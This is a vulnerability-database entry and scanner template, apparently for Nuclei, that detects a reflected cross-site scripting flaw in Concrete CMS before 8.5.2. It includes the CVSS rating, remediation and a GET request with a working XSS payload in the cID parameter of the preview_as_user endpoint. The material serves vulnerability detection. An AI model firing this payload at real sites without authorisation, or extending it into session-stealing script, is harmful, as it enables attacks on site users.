SecurityContext

concrete-xss: Concrete CMS <8.5.2 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 7.2
  • Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
  • Not known: epss score, epss percentile, cpe

Metadata

  • Max-request: 1

Labels

  • Name: Concrete CMS - Cross-Site Scripting
  • Impact: Attackers can execute arbitrary script in a victim's browser, potentially leading to session hijacking or data theft.
  • Remediation: Upgrade to Concrete CMS 8.5.2 or later.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Victim must load or interact with a crafted link
  • Labels source: securitycontext
  • Not known: from cve

```yaml

id: concrete-xss

info:

name: Concrete CMS <8.5.2 - Cross-Site Scripting

author: shifacyclewla,hackergautam,djoevanka

severity: high

description: Concrete CMS before 8.5.2 contains a cross-site scripting vulnerability in preview_as_user function using cID parameter.

reference:

- https://hackerone.com/reports/643442

- https://github.com/concrete5/concrete5/pull/7999

- https://twitter.com/JacksonHHax/status/1389222207805661187

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

cvss-score: 7.2

cwe-id: CWE-79

metadata:

max-request: 1

tags: hackerone,concrete,xss,cms,unauth,intrusive,vuln

http:

- method: GET

path:

- '{{BaseURL}}/ccm/system/panels/page/preview_as_user/preview?cID="></iframe><svg/onload=alert("{{randstr}}")>'

matchers-condition: and

matchers:

- type: word

part: body

words:

- '</iframe><svg/onload=alert("{{randstr}}")>'

- type: word

part: header

words:

- "text/html"

- "CONCRETE5"

condition: and

- type: status

status:

- 200

digest: 4a0a004730450220715b2cc187b4c5b531a1e6d558d5da347fa25b52afef4dc3f6195436ebee5fbd022100e2899eef18b2fcb378ed6475ddcc8f73128932e1f829726412182866ce9f1521:922c64590222798bb761d5b6d8e72950

```